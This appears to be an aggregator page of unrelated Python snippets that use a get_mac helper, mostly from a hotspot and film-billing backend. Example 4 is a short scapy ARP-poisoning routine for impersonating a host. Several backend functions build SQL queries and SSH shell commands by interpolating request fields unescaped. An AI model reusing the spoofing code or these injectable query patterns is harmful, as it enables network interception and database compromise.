Esempio n. 1
0
def auth_client(ip, mmac):
    logger.debug('Entered auth_client; IP = %s, MAC = %s'%(ip, mmac))
    gw = get_gateway(ip)
    if not gw:
        logger.info('Cannot find gateway ( IP = %s )'%(ip))
        logger.debug('Returning "False"')
        return False
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        logger.debug('Connecting to %s'%(gw))
        ssh.connect(hostname=gw, username=ssh_username, password=ssh_password, port=port, timeout=7)
    except:
        logger.info('Unable to connect to host %s'%(gw));
        logger.debug('Returning "False"')
        return False
    mac = mmac
    if mmac == '00:00:00:00:00:00':
        ssh.exec_command('ping -c 1 %s'%(ip))
        mac = get_mac(ip)
        logger.debug('Tried to find mac fo %s: MAC = %s'%(ip, mac))
    if mac == '00:00:00:00:00:00':
        logger.info('Cannot find MAC ( IP = %s; MAC = %s; Gateway = %s )'%(ip, mac, gw))
    ssh.exec_command('hotcli add %s %s'%(ip, mac))
    ssh.exec_command('hotcli allow %s'%(ip))
    ssh.close()
    logger.info('User %s ( %s ) authenticated on %s'%(ip, mac, gw))
    logger.debug('Returning "True"')
    return True
Esempio n. 2
0
def get_user_subscriptions(ip, ua):
    def get_subs_list(db, client_id):
        subs = []
        res = db_query(db, 'select order_id, client_films_id, first_ip, direction \
                                                from orders where client_id=%s and new_model=1 and state_id=0;'%(client_id), full=True)
        if res:
            for [ order_id, film_id, first_ip, direction ] in res:
                subs_info = get_subs_info(db, film_id, (first_ip, direction))
                if subs_info not in subs:
                    subs.append(subs_info)
        return subs
        
    pprint('get_user_subscriptions:')
    pprint(ip)
    pprint(ua)
    result = {}
    mac = get_mac(ip)
    db = db_connect()
    vip_client = is_vip_client(db, ip, mac)
    if vip_client:
        return { "VIP" : True } 
    client_ids = db_query(db, 'select client_id as id from client_info where ip="%s" and mac="%s" group by client_id'%(ip, mac), full=True)
    if client_ids:
        print 'client found', client_ids
        result['UserID'] = client_ids[0][0] # in every way
        result['Subscriptions'] = []
        if len(client_ids) > 1:
            print "f*****g f**k! this should not have happened but happened"
        for client in client_ids:
            result['Subscriptions'] += get_subs_list(db, client)
    db_disconnect(db)
    pprint(result)
    return result
Esempio n. 3
0
def get_code_by_billnumber(direction, ip, order, billnumber):
    result = {}
    res = None
    try:
        mac = get_mac(ip).replace(':','')
        if mac == '0'*12:
            raise ValueError('No MAC address for %s'%(ip))
        db = db_connect()
        res = db_query(db, "select o.code from orders o "
                                             "where o.payment_time is not null and o.code <> '' and o.end_time is null and o.state_id <> 3 " # hardcode
                                             "and o.dev_count < 2 and o.direction='%s' and o.billnumber='%s' and o.first_mac=x'%s' and o.order_id='%s'"
                                             %(direction, billnumber, mac, order),
                                    )
    except Exception as e:
        print e
    if not res:
        r = False
        code = None
    else:
        r = True
        code = res[0]
    result = {
        'Code': code,
        'Result': r
    }
    return result
Esempio n. 4
0
def poison_old():
    print "Usage: arp_poison.py HOST_TO_ATTACK HOST_TO_IMPERSONATE"
    my_mac = get_mac()
    if not my_mac:
        print "Cant get local mac address, quitting"
        sys.exit(1)

    packet = Ether() / ARP(op="who-has", hwsrc=my_mac, psrc=sys.argv[2], pdst=sys.argv[1])
    sendp(packet)
Esempio n. 5
0
 def send_callback(self):
     """
     Encrypt and send the data to be sent
     """
     if self.state != CONNECTED:
         self.logger.info('No connection established')
         return
     to_send = self.send_entry.get()
     if to_send and self.connector:
         self.logger.info('Encrypting message')
         encrypted = aes.aes_encrypt(to_send, self.session_key)
         encoded = bytes(encrypted)
         self.logger.info('Calculating MAC')
         mac_val = mac.get_mac(to_send, MAC_KEY)
         self.logger.info('Sending encrypted message')
         self.connector.send(encoded + bytes(mac_val[0]) + bytes(mac_val[1]))
Esempio n. 6
0
def add_film_watch(request_json):
    result = False
    pprint(request_json)
    db = db_connect()
    ip = request_json['IPAddress']
    mac = get_mac(ip)
    film_id = request_json['FilmID']
    name = request_json['Name']
    user_id = request_json.get('UserID', '0')
    user_agent = request_json.get('UserAgent', '')
    db_query(db, 'insert into watches (ip, mac, film_id, name, ua, user_id) values ("%s", "%s", %s, "%s", "%s", %s);'
                                        %(ip, mac, film_id, name, user_agent, user_id),
                                        commit=True, fetch=False
                    )
    result = True
    db_disconnect(db)
    return { "Result" : result }
Esempio n. 7
0
 def send_callback(self):
     """
     Encrypt and send the data to be sent
     """
     if self.state != CONNECTED:
         self.logger.info('No connection established')
         return
     to_send = self.send_entry.get()
     if to_send and self.connector:
         self.logger.info('Encrypting message')
         encrypted = aes.aes_encrypt(to_send, self.session_key)
         encoded = bytes(encrypted)
         self.logger.info('Calculating MAC')
         mac_val = mac.get_mac(to_send, MAC_KEY)
         self.logger.info('Sending encrypted message')
         self.connector.send(encoded + bytes(mac_val[0]) +
                             bytes(mac_val[1]))
Esempio n. 8
0
def get_client_codes(direction, phone, ip):
    result = {}
    try:
        mac = get_mac(ip).replace(':','')
        if settings.check_mac and mac == '0'*12:
            raise ValueError('No MAC address for %s'%(ip))
        db = db_connect()
        res = db_query(db, "select o.code, s.state, "
                           "substr(o.order_id, 1, 8) as service, "
                           "if(substr(o.order_id, 1, 8)='INTERNET', "
                                  "if(o.direction is null, t.button_name, tt.button_ru), "
                                  "if(o.new_model=1,v.name,f.name)) as tariff_ru, "
                           "if(substr(o.order_id, 1, 8)='INTERNET', "
                                  "if(o.direction is null, t.button_name_en, tt.button_en), "
                                  "if(o.new_model=1,v.name,f.name)) as tariff_en, "
                           "time(if(o.begin_time is not null, now() - o.begin_time, '00:00:00')) as elapsed, "
                           "if(o.dev_count > 1, 0, 2-o.dev_count) as devices "
                           "from orders o "
                           "left outer join tariffs t on t.id = o.tariff_id "
                           "left outer join tariffs.tariffs_description tt on tt.tariff_id = o.tariff_id "
                           "left join clients c on c.id = o.client_id "
                           "left join states s on s.id = o.state_id "
                           "left outer join films f on f.id = o.client_films_id "
                           "left outer join vidimax v on v.id = o.client_films_id "
                           "where o.payment_time is not null and o.code <> '' and o.end_time is null and o.state_id <> 3 " # hardcode
                           "and o.dev_count < 2 and o.direction='%s' and c.phone='%s' and o.first_mac=x'%s'"%(direction, phone, mac),
                           full=True)
        count = 0
        for code, state, service, tariff_name_ru, tariff_name_en, elapsed, dev_remained in res:
            code_info = {
                'Code': code,
                'Status': state,
                'Service': service,
                'TariffName_RU': unicode(tariff_name_ru),
                'TariffName_EN': unicode(tariff_name_en),
                'DevicesRemained': dev_remained
            }
            if elapsed:
                code_info['Elapsed'] = str(elapsed)
            result[str(count)] = code_info
            count += 1
    except Exception as e:
        print e
    return result
Esempio n. 9
0
 def create_order(db, shop, tariff, film, direction=None, ip=None, partner_id=None):
     mac = get_mac(ip).replace(':','') or '000000000000'
     print mac
     if not film:
         oid = db_query(db, "insert into orders (shop_id, tariff_id, first_mac, first_ip) values ( %s, %s , x'%s', '%s');"%(shop, tariff, mac, ip), fetch=False, commit=True, lastrow=True)
     else:
         query = "insert into orders (shop_id, tariff_id, client_films_id, first_mac, first_ip) values (%s, %s, %s, x'%s', '%s');"
         if new_model:
             query = "insert into orders (shop_id, tariff_id, client_films_id, new_model, first_mac, first_ip) values (%s, %s, %s, 1, x'%s', '%s');" # hardcode
         oid = db_query(db, query%(shop, tariff, film, mac, ip), fetch=False, commit=True, lastrow=True)
         if new_model:
             update_order_id(db, film, oid)
     if direction:
         print 'adding direction "%s" to order %s'%(direction, oid)
         db_query(db, 'update orders set direction="%s" where id=%s;'%(direction, oid), fetch=False, commit=True)
     if partner_id:
         print 'adding partner id = %d to order %s'%(partner_id, oid)
         db_query(db, 'update orders set partner_id=%d where id=%s;'%(partner_id, oid), fetch=False, commit=True)
     return oid
Esempio n. 10
0
def get_film_session(request_json):
    pprint('get_film_session')
    result = {
        'Result' : False
    }
    mac = get_mac(request_json['IPAddress'])
    db = db_connect()
    try: # checking user code
        print "checking"
        res = db_query(db, 'select o.id from orders o cross join '
                                             '(select client_orders_id from client_info where mac = "%s" and ip = "%s" order by update_time desc) s on s.client_orders_id = o.id '
                                             'where client_films_id=%s and begin_time is not null and end_time is null limit 1;'
                                             %(mac, request_json['IPAddress'], request_json['FilmID'])
                                     )
        if res:
            result['Result'] = True
    except Exception as e:
        print e
        pass
    db_disconnect(db)
    return result
Esempio n. 11
0
def get_session(request_json, update=False):
    pprint('get_session')
    pprint(request_json)
    is_film = False
    if 'FilmID' in request_json:
        is_film = True
    result = {
        'Result' : False,
        'IPAddress' : '',
        'UserAgent' : '',
        'Logout' : 0
    }
    if is_film:
        result['URL'] = settings.vidimax_base + '/#movie/' + request_json['FilmID']
        if int(request_json['FilmID']) == 694: # hardcode
            result['URL'] = settings.vidimax_base
        print result['URL']
    db = db_connect()
    mac = get_mac(request_json['IPAddress'])
    vip_client = is_vip_client(db, request_json['IPAddress'], mac)
    if vip_client: # vip client
        print "is vip client"
        if is_film:
            result['URL'] = settings.vidimax_base + '/#movie/' + request_json['FilmID']
            if int(request_json['FilmID']) == 694: # hardcode
                result['URL'] = settings.vidimax_base
#            result['URL'] = settings.vidimax_base + '/#play/' + request_json['FilmID']
            result['Result'] = True
            return result
    if 'Code' in request_json:
        if is_vip_code(db, request_json['Code']):
            print "is vip code"
            if not vip_client:
                add_vip_client(db, request_json['Code'], request_json['IPAddress'], mac)
            auth_client(request_json['IPAddress'], mac)
            result['Result'] = True
            return result
        else:
            tar = is_scratch_code(db, request_json['Code'])
            if tar and not is_film: # i don't accept scratch card payment for films for a while
                fd = get_first_data(tar['service'], tar['tariff'], None, 'SCRATCH')
                order_id = get_order_id(fd['OrderID'])
                sms_sent(order_id)
                update_order(generate_scratch_payment(fd['ShopID'], fd['OrderID'], fd['Sum'], request_json['Code']))
                scratch_set_used(db, request_json['Code'])
    if is_film and not update:
        return get_film_session(request_json)
    try:
        pprint('client_info = get_client_info:')
        client_info = get_client_info(db, request_json)
        pprint(client_info)
        if client_info:
            result = {
                'Result' : True,
                'IPAddress' : client_info['ip'],
                'UserAgent' : client_info['user_agent'],
                'Logout' : client_info['state']
            }
            if is_film:
                if 'external_order_id' in client_info: # not vidimax
                    result['URL'] = client_info.get('url', settings.vidimax_base)
                else:
                    result['URL'] = settings.vidimax_base + '/#movie/' + request_json['FilmID']
                    if int(request_json['FilmID']) == 694: # hardcode
                        result['URL'] = settings.vidimax_base
                print result['URL']
            else:
                auth_client(client_info['ip'], client_info['mac'])
            if client_info['changed']:
                print 'if update:'
                if update and update_client_info(db, client_info, False):
                        auth_client(client_info['ip'], mac)
                else:
                    result['Result'] = False
    except KeyError as e:
        print 'KeyError: ' + str(e)
        result = None
    db_disconnect(db)
    return result
Esempio n. 12
0
def get_client_info(db, r_json):
    # getting mac on r_json['IPAddress']
    # if mac is changed then it's new client
    pprint('get_client_info:')
    pprint(r_json)
    if not match_code(r_json['Code']):
        return None
    ip_mac = get_mac(r_json['IPAddress'])
    print ip_mac
    info_list = db_query(db,
                                'select ords.id, ords.client_id, ci.mac, ci.ip, ci.user_agent, ci.lang, ords.state_id from orders ords '
                                'left join client_info ci on ords.client_id = ci.client_id and ords.id = ci.client_orders_id '
                                'left join client_orders co on ci.client_id = co.client_id and ords.id = co.order_id '
                                'where ords.code = "%s" order by ci.update_time desc limit 1;'
                                %(r_json['Code'])
                            )
    if not info_list:
        return None
    print 'passed'
    flag = False
    [ order_id, client_id, mac, ip, user_agent, lang, state ] = info_list
    if state == 10:
        state = 0
    elif state == 3:
        return None
    url = None
    ext_oid = None
    if 'FilmID' in r_json: # FilmID checking
        new_model = is_new_model(db, order_id)
        if not new_model:
            res = db_query(db, 'select id from orders where id = %d and client_films_id = %s'%(order_id, r_json['FilmID']))
        else:
            res = db_query(db, 'select o.id, v.success_url, v.external_order_id \
                                                    from orders o cross join vidimax v on o.id = v.order_id and o.client_films_id = v.id where o.id = %d'
                                                    %(order_id)
                                        )
        if not res: # so this order is not for this film
            return None
        if new_model:
            url = res[1]
            ext_oid = res[2]
    else: # checking for not film
        res = db_query(db, 'select id from orders where id = %d and client_films_id = 0'%(order_id))
        if not res: # so this order is for film not for internet
            return None
    if mac != ip_mac or ip != r_json['IPAddress']:
        ip = r_json['IPAddress']
        user_agent = r_json['UserAgent']
        mac = ip_mac
        lang = r_json['Lang']
        flag = True
    result = {
        'order_id' : order_id,
        'client_id' : client_id,
        'mac' : mac,
        'ip' : ip,
        'user_agent' : user_agent,
        'lang' : lang,
        'state' : state,
        'changed' : flag
    }
    if url:
        result['url'] = url
    if ext_oid:
        result['external_order_id'] = ext_oid
    return result